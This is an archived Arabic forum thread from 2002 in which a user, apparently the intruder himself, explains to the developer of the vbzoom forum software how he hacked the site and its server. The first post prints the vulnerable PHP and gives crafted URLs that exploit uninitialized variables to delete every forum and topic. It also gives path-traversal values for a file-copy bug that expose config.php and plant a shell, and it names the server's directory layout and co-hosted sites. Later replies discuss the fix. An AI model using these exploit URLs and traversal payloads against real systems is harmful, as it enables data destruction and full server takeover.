الفريق العربي للبرمجةأرشيف المنتديات · 2000 – 2023
نسخة أرشيفية للقراءة فقط — التسجيل والمشاركة مغلقان، والمحتوى محفوظ كما كان.

منتدى vbzoom وثغراتها ..

مغلق
بدأه محمد قطان في 6 نوفمبر 2002 · 4 رد · 824 مشاهدة · في منتدى الشبكات العام
مشاركة: واتساب X فيسبوك تيليجرام
#1 صاحب الموضوع

السلام عليكم ..

كل عام وانتم بخير ..

اخي خالد .. ذكرت انك استطعت تتبع الاختراق الذي حدث للمنتدى تمكنت من اصلاح الخلل وهذا شيء جيد ..

ولكن الحقيقة ان الثغرات مازالت موجودة .. :( من يومين شيكت على الداتا بنفس الثغرة التي استخدمتها من شهرين ...

على العموم سأعطيك بعض الـ Bugs في كود المنتدى مع الطريقة التي استخدمتها في استثماره ..

عندما يفكر اي هكر في اختراق موقع يجب ان يقرأ الكود حرفا حرف وانا شخصيا لا أؤمن بفكرة خلو اي كود لبرنامج من Bug :)

لندخل في التفاصيل .. هذه نماذج من الـ Bugs :

الثغرة الأولى ... بدرجة متوسط

في كود احد الملفات وجدت المتغير التالي :

if ($ForumDelete==1)
{

خليك فاكره ودعنا نكمل استعراض بعض الاكواد ..

انظر الآن الى هذا الكود :

		$Result = mysql_query($Sql);
		while ($Row = mysql_fetch_array($Result))
		{ 
		$Success="1";
		}

		If ($Success!=1)
		{
		echo "المعرف او كلمة المرور خطأ";
		exit;
		}

السطر الاول عباره عن متغير اسمه Result توضع فيه قيمة الاستعلام Sql

بعد هذا يدخل في عملية Loop لكي ياخذ كل Record حصل عليه من الاستعلام تبعه

[l]

mysql_fetch_array($Result)

[/l]

الداله هذه ترجع قيمه منطقيه اما True او False

اي ترجع True في حالة انه يوجد Records في متغير Result

واذا رجعت True حتتخزن القيمه في Row

الآن لاحظ التالي :

		while ($Row = mysql_fetch_array($Result))
		{ 
		$Success="1";
		}

		If ($Success!=1)
		{
		echo "المعرف او كلمة المرور خطأ";
		exit;
		}

اذا صارت قيمة Row تساوي True حيتحقق الشرط تبع الـ Loop وبعدها توضع قيمة Success بـ (1)

لاحظ ان قيمة Success هذه غير موجوده اصلا و السطر هذا يعتبر اول سطر يعرفها

وهناا مشكلة الكود هذا اي الـ Bug

رح يصير عندنا الان متغيرين :

[l]

?ForumDelete=1 & Success=1

[/l]

لاحظ اني لو حطيت هالسطرين في المتصفح سوف يعتبر السكربت قيمتها كما وضعتها ..

باقي شي واحد وننتهي ... انظر الى هذا الآن :

		$Sql = "delete from Main where MainID=$MainID";
		$Result = mysql_query($Sql);
		If ($Result)
		{
		Echo "تم حذف المنتدى";
		}


		$Sql = "delete from Subject where MainID=$MainID";
		$Result = mysql_query($Sql);
		If ($Result)
		{
		Echo "تم حذف جميع مواضيع المنتدى المنتدى";
		}

لاحظ السطرين اللي امام كلمة Sql

[l]

delete from Subject where MainID=$MainID

[/l]

الثانية تحذف المواضيع كلها والاولى المنتديات :)

المتغير $MainID هذا اصلا غير موجود من بداية السكربت وهنا يعتبر اول تعريف له فلو وضعنا قيمته بـ (1) سوف يصبح السكربت هكذا :

[l]

delete from Subject where MainID= 1

[/l]

بهد هذا نضعها في الاكسبلورر كما شرحت لك وسوف يمسح كل شيء على اساس انك أدمن المنتدى ..:(

هكذا :

http://................/forums/admin/c-mai...lete=1&MainID=1

كان المفروض ان تضع قيمة Success = 0 في اول السكربت ..

أيضا يمكن ان تمسح مجلد الاعضاء ( c-member.php ) بنفس الطريقة ...

http://................/forums/adminc-member.php

?Success=1&ForumDelete=1&MainID=1

..............................................................

ثغرة أخرى وهي التي تم بها اختراق الموقع والسيرفر بالكامل ..

الدرجة : تحكم كامل ..

انظر الى هذا الكود ...

If ($Success==1)

{

iF ($FileName!="none" and $FileName!="")

{

iF ($FileName_size:(

ثم قمت بتعديله في النسخة الاخيرة بحيث يقبل ملفات الصور او الملفات المضغوطة .. ولكن هذه أيضا خطرة جدا ولا تكفي كحل للثغرة ..

لأنني ببساطة يمكن ان ابحث عن اي مجلد او ملف على السيرفر وليس موقعك فقط واستغل هذه الثغرة في وضع شيل او سكربت ..

كما فعلت تماما :)

واستثمار ذلك في الاكسبلورر يكون كالتالي :

[l]

add-subject.php?Success=1&FileName=........&FileName_name=......

[/l]

FileName <<------- هذا عنوان واسم الملف الذي تريد نسخه

FileName_name <<--------- هذا اسم الملف المنسوخ عليه

طريقة عمل ذلك :

افرض انك كتبت اللنك هذا حسب الثغره التي نتحدث عنها :

http://www.vbzoom.com/forums/add-subject.p...name=config.txt

ماذا سوف يفعل هذا اللينك :

سوق ينسخ ملف admin/config.php الى مجلد download ويسمي الملف الجديد config.txt

وانت بعد ان تنتهي من عملية النسخ تكتب هذا اللينك :

http://www.vbzoom.com/forums/download/config.txt

اذا عرض لك الملف config.txt هذا معناه ان المجلد download تصريحه 777

واذا اعطاك الخطا 404 فهذا معناه انه فشل النسخ..

من رسالة الخطأ تستطيع ان تصل لمجلد الـ home تبع السرفر ومعرفة كيفية تنسيقه ..

مثلا :

[l]

/home/virtual/site8/fst/var/www/html/forums/

[/l]

في هذه الباث مخرن موقع vbzoom.com

الآن بالاعتماد على Document root وبعض المعرفة في انواع السيرفرات يمكن ان تفهم آلية تخزين المواقع فيها ..

بالنسبة لسيرفر vboom هو يخزن المواقع عليه بالتسلسل التالي :

[l]

/home/virtual/site1/fst/var/www/html/

/home/virtual/site2/fst/var/www/html/

/home/virtual/site3/fst/var/www/html/

.

.

.

/home/virtual/site8/fst/var/www/html/

[/l]

الآن site8 هو vbzoom.com

و على نفس السيرفر

site3 هو www.ebookforum.net

الآن نعود الى مشكلة FileName_name

واي اسم اكتبه لهذا المتغير سوف يضعه في مجلد download

لو فرضا انك وضعت اسم المتغير هكذا :

[l]

FileName_name=../config.txt

[/l]

النتيجة ستكون :

http://www.vbzoom.com/forums/download/../config.txt

الان النظام عندما يرى :

download/../

سوف يختصر النتيجة الى :

http://www.vbzoom.com/forums/config.txt

ولنقل الملف الى السيرفر سوف نستخدم هذا :

[l]

FileName_name=../../config.txt

[/l]

بعد ذلك كل اسم مجلد في الـ Document root استبدل به :

[l]

/../../../../../../../

[/l]

ولنسخ الملف الى مجلد موقع vbzoom

[l]

FileName_name=../../../../../../../home/virtual/site8/fst/var/www/html/config.txt

[/l]

طبعا هناك الكثير من الأدوات لكشف مجلدات وملفات المواقع ...

بهذا نضع شيل بسيط على سيرفر vbzoom وهنا سوف يتم التحكم بشكل كامل بكل السيرفر ...

..............................................

أظنك الآن فهمت كيف تم الاختراق .. وانا اعتمدت اخفاء بعض الامور في الشرح حتى لا يطبقها أحد على السيرفر ولكنك لو راجعت الكود سوف تفهمها بشكل اكبر ...

أتمنى ان تستفيد من هذه الاخطاء .. فهذا هدفي من كل الكلام انت وكل من يريد بناء موقع او منتدى ...

الآن أنتظر منك سد الثغرة فعلا .. واخبرني بهذا عندما تنتهي حتى اشيك لك ثانية على الموقع ...

على فكرة تفعيل الـ SafeMode ليس نافعا كثيرا ...لذلك لابد من اصلاح الكود ..

كلمة أخيرة :

اياك أن تشعر باليأس فالثغرات موجودة في كل البرامج والأنظمة :)

تمنياتي لك بالتوفيق ...

واثق الخطوة يمشي ملكا !!

#2

الأخ محمد قطان

كل عام و انت بخير

شكرا لك اخى العزيز على ملاحظاتك الجيدة .. وفقك الله إلى نفع المسلمين ..

توضيح ثغرة ال $Success قمت بحمد الله بسد هذه الثغرة فى الأصدار 1.08 و قد قمت بإتباع أسلوب أفضل للأختبار سوف يكون موجود فى الأصدا 1.09 و الذى سوف يصدر قريبا إن شاء الله

و الحمد لله تعرفت على الطريقة التى تم بها تحميل الملف baner1.php و الذى استخدم فى عملية الأختراق و تم علاجها فى الأصدار الجديد

تابع معى الأصدار الجديد 1.09 و الذى سوف يصدر خلال ايام إن شاء الله

أخوك

خالد ممدوح

#3

مرحبا ...

انا ما شفت اصدار 1.8 ولكني متفائل بأن يكون أفضل .. :)

بالنسبة baner1.php هذا شيل للتحكم بالـ Mysql ولكن حتى لو حذفته .. هناك ما هو أهم منه :)

يعني الفايل منجر اللي نزلت من خلاله baner1.php ..

فهمت قصدي .. ؟

منتظر نشوف النسخة الجديدة بدون مشاكل ان شاء الله ..

سلام ..

واثق الخطوة يمشي ملكا !!

#4

يعطيك العافية أبو علاء

على شرح هذه الثغرة بالتفصيل.

#5

:)

ياريت يعرفون ويطورون بدال الجدال

شكرا لك ابو علاء :) ما قصرت

الى جيل مبرمج وااااااااااعيييييييييي

اخو الجميع

محمد الجفيري

هذا الموضوع مغلق.

مواضيع مشابهة